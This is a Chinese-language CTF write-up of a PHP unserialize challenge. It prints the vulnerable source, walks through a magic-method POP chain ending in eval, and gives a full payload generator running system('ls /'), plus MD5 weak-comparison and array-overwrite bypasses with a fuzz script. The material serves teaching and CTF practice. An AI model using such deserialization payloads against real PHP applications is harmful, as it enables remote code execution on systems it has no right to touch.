第七届浙江省大学生网络与信息安全竞赛决赛Unserialize深度解析 1.0

花还会重新开,不同的春来了又来。

- 2025.4.11


0x01 声明

仅作为个人学习使用,仅供参考,欢迎交流

可能是新生赛缘故,突发奇想,想好好梳理此题,顺便写成参考,于是有了这篇文章

当然很多理解可能不够到位,还请见谅

此外,本人所有博客始终贯彻原创与开源原则,若访问文章显示付费,请及时私信

不排除平台会自动设置付费的可能,本人会第一时间关注并处理

0x02 源码

源码 如下,只对传参逻辑进行少许修改其余保持不变,顺手写成dockerfile,开启容器

php 复制代码
<?php

class AAA
{
    public $aear;
    public $string;
    public function __construct($a)
    {
        $this->aear = $a;
    }
    function __destruct()
    {
        echo $this->aear;
    }
    
    public function __toString() 
    {
        $new = $this->string;
        return $new();
    }
}

class BBB
{
    private $pop;

    public function __construct($string)
    {
        $this->pop = $string;
    }

    public function __get($value)
    {
        $var = $this->$value;
        $var[$value]();
    }
}

class DDD
{
    public $bag;
    public $magazine;

    public function __toString()    
    {
        $length = @$this->bag->add();     
        return $length;                    
    }
    public function __set($arg1, $arg2)   
    {
        if ($this->magazine->tower) {     
            echo "really??";
        }
    }
}

class EEE
{
    public $d = array();
    public $e;
    public $f;
    public function __get($arg1)
    {
        $this->d[$this->e] = 1;  
        if ($this->d[] = 1) {    
            echo 'nononononnnn!!!';
        } else {
            eval($this->f);
        }
    }
}

class FFF
{
    protected $cookie;

    protected function delete()
    {
        return $this->cookie;
    }

    public function __call($func, $args)  
    {
        echo 'hahahhhh';
        call_user_func([$this, $func . "haha"], $args);
    }
}

class GGG
{
    public $green;
    public $book;
    public function __invoke()
    {
        if (md5(md5($this->book)) == 666) { 
            return $this->green->pen;
        }
    }
}

if (!isset($_POST['UP'])) {
    highlight_file(__FILE__);
} else {
    unserialize($_POST['UP']);
}

?>

0x03 魔术方法

(下文会有讲解,此处作为参考)

0x04 构造POP链

php 复制代码
AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()

0x05 分析过程

第一步

构造利用链的第一步是确定链尾,即能够触发 远程代码执行 RCE )的代码点

eval($this->f),具备执行代码的能力,锁定链尾

php 复制代码
-> EEE::__get()

第二步

我们需要考虑如何触发 EEE 类中的 __get() 魔术方法

魔术方法 __get() 触发条件

当你访问一个不存在或不可访问(private 或 protected)的属性时,触发魔术方法 __get()

++例如++

php 复制代码
class Demo {
    public $a = "public";
    private $b = "private";
    protected $c = "protected";

    public function __get($name) {
        return "__get() 被触发了:你访问了 $name";
    }
}

$Demo = new Demo();

echo $Demo->a;      // ✅ 直接输出 public
echo $Demo->b;      // ❗触发 __get("b")
echo $Demo->c;      // ❗触发 __get("c")
echo $Demo->d;      // ❗触发 __get("d"),d 不存在

echo Demo-\>value; 如果触发 __get($value)后,

会将 __get(value)方法的返回值 作为 Demo->$value 的返回值。

php 复制代码
访问echo $Demo->b;
 ↓
PHP发现:b 是私有属性,不能访问
 ↓
于是自动调用 __get("b")
 ↓
 __get() 返回 "__get() 被触发了:你访问了 b"
 ↓
这个值就被当作 $Demo->b 的值返回了!

因此输出:

php 复制代码
public                    // public属性
__get() 被触发了:b        // private属性
__get() 被触发了:c        // protected属性
__get() 被触发了:d        // 不存在的属性

回归正题

了解触发条件后,我们发现

php 复制代码
如果 $this->green 是 EEE类 的一个对象,
↓ 
由于 GGG类 中根本不存在 pen 属性,自然无法访问到 pen;
↓ 
那么 $this->green->pen; 就会触发 EEE::__get()

因此

php 复制代码
-> GGG::__invoke() -> EEE::__get()

第三步

我们需要考虑如何触发 GGG 类中的 __invoke() 魔术方法

魔术方法 invoke**() 触发条件**

当对象被当作函数调用时,触发魔术方法 __invoke()

++例如++

php 复制代码
class Demo {
    public function __invoke($name) {
        return "__invoke() 被触发了:你传入了 $name";
    }
}

$Demo = new Demo();

echo $Demo("Hello");  // ❗触发 __invoke("Hello")
php 复制代码
$Demo("Hello")     
↓ 
$Demo 是 Demo类的一个对象,$obj()即把对象当成函数调用
↓ 
PHP一看:你居然让对象执行函数调用动作
↓ 
调用 $Demo->__invoke("Hello");
↓
最终输出就是 __invoke() 的返回值,即 return "__invoke() 被触发了:你传入了 $name";
↓
此时 $name = "Hello"

回归正题

php 复制代码
如果 $this->string是 GGG类 的一个对象
↓ 
$new = $this->string; 将 $new 赋值为 GGG 的对象;
↓ 
return $this->string();将$GGG的对象当做函数调用;
↓ 
触发 GGG::__invoke();

因此

php 复制代码
-> AAA::__toString() -> GGG::__invoke() -> EEE::__get()

第四步

我们需要考虑如何触发 AAA 类中的 __toString() 魔术方法

魔术方法 __toString() 触发条件

当对一个对象执行 echo print 字符串拼接 等操作,触发魔术方法 __toString()

++例如++

php 复制代码
class Demo {
    public function __toString() {
        return "__toString() 被触发了!\n";
    }
}

$Demo = new Demo();

// 用 echo 输出对象
echo $Demo;  

// 用 print 输出对象
print $Demo;  

// 把对象拼接到字符串中
$text = "这是一个对象:$Demo";
echo $text;

输出

php 复制代码
__toString() 被触发了!  // 执行 echo 操作
__toString() 被触发了!  // 执行 print 操作
这是一个对象:__toString() 被触发了! // 执行 字符串拼接

回归正题

php 复制代码
如果 $this->aear 是AAA的一个对象
↓ 
echo $this->aear 触发 AAA的__toString()方法
↓ 
AAA::__toString()

因此

php 复制代码
AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()

第五步

我们需要考虑如何触发 AAA 类中的 __destruct() 魔术方法

魔术方法 __destruct() 触发条件

析构函数 会在 当某个对象的所有引用都被删除或者当对象被显式销毁时 执行。

换句话说,

只要你 new 创建一个对象,当它"不再使用"或"被清理掉", PHP 就会自动帮你调用 __destruct() 做一些"结束前的收尾工作"。

++例如++

php 复制代码
class Demo {
    public function __destruct() {
        echo "__destruct() 被触发了!\n";
    }
}

$Demo = new Demo();

输出

php 复制代码
__destruct() 被触发了!

回归正题,由于 __destruct() 特殊的触发条件或者说根本不需要什么条件,我们的 POP 链也就构造成功了。

除此以外,还需要了解 __construct() 触发方式

魔术方法 __construct() 触发条件

当你使用 new 创建一个对象时, PHP 会自动调用这个类的 __construct() 方法,触发条件非常简单直接

php 复制代码
class Demo {
    public function __construct($name) {
        echo "你好,$name\n";
    }
}

$Demo = new Demo("橙橙");  // 触发 __construct("橙橙")

输出

php 复制代码
你好,橙橙

__construct() 可以有参数:

php 复制代码
// 如果构造函数有参数 + 没有默认值,你不传入参数值就会报错

class Demo {
    public function __construct($name) {
        echo "你好,$name\n";
    }
}

$Demo = new Demo();    // ❌ 错误:缺少参数
$Demo = new Demo(1);   // ✅ 成功,输出:你好,1


// Fatal error: Uncaught ArgumentCountError: Too few arguments to function Demo::__construct(), 0 passed...
// 创建 Demo 类的对象时,没有传递构造函数需要的参数,但构造函数 (__construct) 没有默认值,导致 PHP 无法执行对象的初始化。

0x06 构造Payload

构造 Payload 需要本地PHP环境,请参考之前文章

https://blog.csdn.net/2301_80877061/article/details/144911396?spm=1001.2014.3001.5502

https://blog.csdn.net/2301_80877061/article/details/145059231?spm=1001.2014.3001.5502

或者自行查阅教程


根据POP链和以上分析,开始构造Payload

php 复制代码
AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()
php 复制代码
// POP链起点在AAA类,创建 AAA类对象
// 触发construct($a)要求传入参数 $a,赋值 1 给 aear,后续值能够覆盖

$AAA = new AAA(1); // 触发 AAA::__destruct()
$AAA->aear=$AAA; // 触发 AAA::__toString(),覆盖 aear值
$AAA->string=new GGG(); // 触发 GGG::__invoke()


$AAA->string->book=213; // 绕过点1
$AAA->string->green=new EEE(); // 触发 EEE::__get()


$AAA->string->green->d=1; // 绕过点2
$AAA->string->green->f="system('ls /');"; // POP链尾,RCE

echo serialize($AAA);
// echo urlencode(serialize($AAA));

Payload

php 复制代码
 <?php

class AAA
{
    public $aear;
    public $string;
    // public function __construct($a)
    // {
    //     $this->aear = $a;
    // }
    // function __destruct()
    // {
    //     echo $this->aear;
    // }
    
    // public function __toString() 
    // {
    //     $new = $this->string;
    //     return $new();
    // }
}

class BBB
{
    private $pop;

    // public function __construct($string)
    // {
    //     $this->pop = $string;
    // }

    // public function __get($value)
    // {
    //     $var = $this->$value;
    //     $var[$value]();
    // }
}

class DDD
{
    public $bag;
    public $magazine;

    // public function __toString()    
    // {
    //     $length = @$this->bag->add();     
    //     return $length;                    
    // }
    // public function __set($arg1, $arg2)   
    // {
    //     if ($this->magazine->tower) {     
    //         echo "really??";
    //     }
    // }
}

class EEE
{
    public $d = array();
    public $e;
    public $f;
    // public function __get($arg1)
    // {
    //     $this->d[$this->e] = 1;  
    //     if ($this->d[] = 1) {    
    //         echo 'nononononnnn!!!';
    //     } else {
    //         eval($this->f);
    //     }
    // }
}

class FFF
{
    protected $cookie;

    // protected function delete()
    // {
    //     return $this->cookie;
    // }

    // public function __call($func, $args)  
    // {
    //     echo 'hahahhhh';
    //     call_user_func([$this, $func . "haha"], $args);
    // }
}

class GGG
{
    public $green;
    public $book;
    // public function __invoke()
    // {
    //     if (md5(md5($this->book)) == 666) { 
    //         return $this->green->pen;
    //     }
    // }
}

$AAA = new AAA(1); 
$AAA->aear=$AAA; 
$AAA->string=new GGG();

$AAA->string->book=213;
$AAA->string->green=new EEE();

$AAA->string->green->d=1;
$AAA->string->green->f="system('ls /');";

echo serialize($AAA);
// echo urlencode(serialize($AAA));
?>

Hackbar 在执行表单提交时,不排除会对Payload进行二次编码的可能

所以Urlencode后我一般用 Bp 提交

绕过点1

php 复制代码
$AAA->string->book=213; // 绕过点1

为什么 213 能够绕过呢,== 注意是PHP的弱类型比较

php 复制代码
if (md5(md5($this->book)) == 666)
php 复制代码
<?php
echo md5(213). "\n";
echo md5(md5(213));
?>

// 979d472a84804b9f647bc185a877a8b5  字符串类型
// 666ca9a2be31fd949cb9b55686caef9a  字符串类型
php 复制代码
PHP 进行 弱类型比较,在比较时尝试将 字符串 转换为数字,会从字符串的开头部分提取数字作为比较值
字符串是以数字开头,PHP 会将其转化为该数字,直到遇到非数字字符停止

例如
'a' -> 0
'1a' -> 1
'123a' -> 123

因此
'666ca9a2be31fd949cb9b55686caef9a' -> 666
'666ca9a2be31fd949cb9b55686caef9a' == 666 成立,true

Fuzz脚本:两次md5加密后,前三位为666且第四位为字母

php 复制代码
import hashlib

def find_md5():
    i = 0
    res = []
    
    while len(res) < 5:
        # 原始输入
        orig = str(i)
        
        # 第一次md5加密
        fmd5 = hashlib.md5(orig.encode()).hexdigest()
        
        # 第二次md5加密
        smd5 = hashlib.md5(fmd5.encode()).hexdigest()
        
        # 检查是否符合条件:前三位是'666',第四位是字母
        if smd5[:3] == '666' and smd5[3].isalpha():
            res.append((orig, smd5))
        
        i += 1
    
    return res

# 获取符合条件的五个实例及其原始输入
result = find_md5()

# 打印结果
for orig, smd5 in result:
    print(f"原始输入: {orig}, 加密结果: {smd5}")

绕过点2

php 复制代码
$AAA->string->green->d=1; // 绕过点2
php 复制代码
public $d = array();       // $d 被声明为数组
$this->d[$this->e] = 1;    // 将 $this->e 的值作为键,向 $this->d 数组中添加一个元素,值为 1
php 复制代码
if ($this->d[] = 1){
   // code...
}

// $this->d[] = 1 向数组的末尾赋值1并返回 1 ->  if(1)为true  -> 条件判断恒成立

++举个例子++

php 复制代码
<?php

$Demo = array();  // 定义一个空数组

$a = '1';
$Demo[$a]=1;

if ($Demo[] = 1) {
    echo "true\n";  // true,条件判断成立
}

print_r($Demo) 

?>

(可以发现,这里键名延续,若键名不为整数类型,则从0递增)这不是重点

重点是 if ($this->d[] = 1) 恒成立,应该怎么绕过呢?

php 复制代码
覆盖 $d 的值,使其不为一个数组
从而导致 $this->d[] = 1 操作报错或不按预期执行,绕过恒成立的条件判断。

例如:
$AAA->string->green->d = 1;  // 数字
$AAA->string->green->d = '1';  // 字符串
$AAA->string->green->d = NULL;  //  NULL
$AAA->string->green->d = NAN;  // 设置为 NaN

0x07 End

至此,反序列化的分析已全部结束

如有错误或者理解不够到位的地方,还请指正,感谢各位的耐心和支持!

相关推荐
天荒地老笑话么1 小时前
静态 IP 规划:掩码/网关/DNS 的正确组合
网络·网络协议·tcp/ip·网络安全
大方子18 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha20 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络21 小时前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd1 天前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你1 天前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha2 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1192 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20252 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec2 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf